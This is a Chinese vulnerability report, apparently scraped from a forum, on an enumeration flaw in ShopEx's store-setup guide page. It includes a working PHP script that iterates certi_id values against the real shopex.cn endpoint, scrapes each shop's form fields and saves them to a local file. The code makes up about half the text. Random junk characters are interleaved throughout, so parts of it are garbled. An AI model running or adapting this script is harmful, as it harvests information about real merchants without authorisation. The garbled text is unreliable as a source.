|
简要描述:
; d2 m. {2 B- z' |/ y. ?" G; S% fShopEx某接口缺陷,可遍历所有网站' j3 G/ V: { ^$ }! N. s1 {2 j
详细说明:* k* D8 E& r3 b+ s3 E( S8 F
问题出现在shopex 网店使用向导页面
% n9 q- [1 @0 Y" |4 ?3 P/ Y0 Y4 |0 W3 }0 `
$ V% e! z, ?0 s- D6 F7 y9 T6 s' m7 J
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
9 Z6 ^: }( o/ P/ r/ {8 I6 P( t0 h! A' a2 \
. r. b( M( I) _( y
( U" t& Y) G) ?+ o$ t$ Arefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}6 O5 _; R& {2 H2 D: k
( B1 W" g3 E- n. x$ X; `- ^
. `* W% a; R" a. b. ^/ k* e! F6 _3 w. }. B( F5 E' E
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 / P; N* V r8 d" j4 G+ d
( l8 \+ F1 X- K: j/ s- @, ?% z2 F
$ r+ Y9 M9 t9 ~7 o- \4 e
<?php4 C! v3 K. W) h; S
0 W/ I- M; [' e
for ($i=1; $i < 10000; $i++) { //遍历
$ A) Y5 u; F& L# Y- _' X( r+ _4 O* q+ B
ShowshopExD($i);+ n0 [6 P6 t. h- u
J0 h6 ] R0 a }# a' d4 ]2 t9 y' ~% V4 u
4 M0 d! F5 }3 t; ?1 L! u function ShowshopExD($cid) {
z v+ ?- K0 K
0 W0 R9 U6 a" h $url='http://guide.ecos.shopex.cn/step2.php';$ s" B3 D2 k4 R2 }) K8 D( w* }
: Q( i2 ]% M0 J; _3 r8 B $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
4 P) U d" |) l p" ?. Q1 G, ]$ B S3 j: U; g# h
$url = $url.'?refer='.$refer;7 y- ?- I- v9 \! P
6 w7 k2 J0 X0 j# ^/ N. `6 R
$ch = curl_init($url);6 @4 k p' _2 I& y& m! `' e
0 X) ]3 O/ S, ]) G4 t) w: Y curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
( x* y' n- m2 M5 u7 J# H& y3 P
, c8 [1 C/ G) R o! D curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- O. J+ D/ e9 Y% R. F
# v0 J; w7 A Y- L: ^2 F0 |% b $result = curl_exec($ch);/ o& P' g& ?* a8 q' V0 [
$ t1 `# ^' x4 Y( P& b1 [, A
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 z: t3 h# B8 m2 n2 d0 ~
' A# g! i+ `' e" P if(strpos($result,$refer))1 {% V0 p( `3 A( T; w6 m% m% d
$ C* I, F3 k5 b4 q$ w" p( t" } {
* h1 L+ Y% M* N+ Q- u& i5 B/ b; k3 ^8 ]
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件6 n3 z5 W1 I+ \3 s8 X* y( N7 V! u
$ B" ]3 w0 m. }
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);4 |" s/ o# n, u' S9 [2 X
+ v! @8 m% q, S8 {% f
foreach ($value[1] as $key) {
. f- }" ] @" ^5 h& h
# w+ F' K* h: X5 ` preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 [; v1 w7 `; S" x
& ~1 K- F# h# b7 l, ` echo $res[1][0].':'.$res[3][0]."\r\n";
. N# }. @0 o; p1 l! T7 L
7 B6 h' u) h, F/ }* `9 E $col =$res[1][0].':'.$res[3][0]."\r\n";
, G5 e; k" v, D' f3 I0 Q0 ]- x2 P; p; O
fwrite($fp, $col, strlen($col)); 6 Z# ]2 y. s! }9 F6 u' s$ E& j
0 z q1 i7 `4 a }5 \8 ~6 m& r1 q6 ]1 `
+ N) Z0 z& V3 _3 ~% b" }0 J echo '--------------------------------'."\r\n";# O+ M( P/ m# Y% j
+ T. N8 d- S$ x
fclose($fp);
* {* o4 N, v/ ]/ I- _) j S5 N: o6 B5 {. i5 [7 V0 u
}; s/ H4 @ f- b" d1 r
2 |4 P: Q: p5 x1 ^3 y- E' F; X2 l$ | flush();! d; j& q4 x2 X; ~, z
* x/ c9 h; w$ s! C# o; G5 D
curl_close($ch);) s: H+ P; Q' _
3 x" z$ ~5 Q/ R8 |/ { }: ]0 Y, x6 x8 B+ ?3 x) u
$ V1 g5 E& V: [, ^?>
( E8 o# T* {5 r% w. w漏洞证明:' g3 Z) t( P& a$ d+ _
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg9 w3 r& E7 R; ]2 F- |& p) l3 F; O
refer换成其他加密方式
9 @0 u1 }) n; D |
|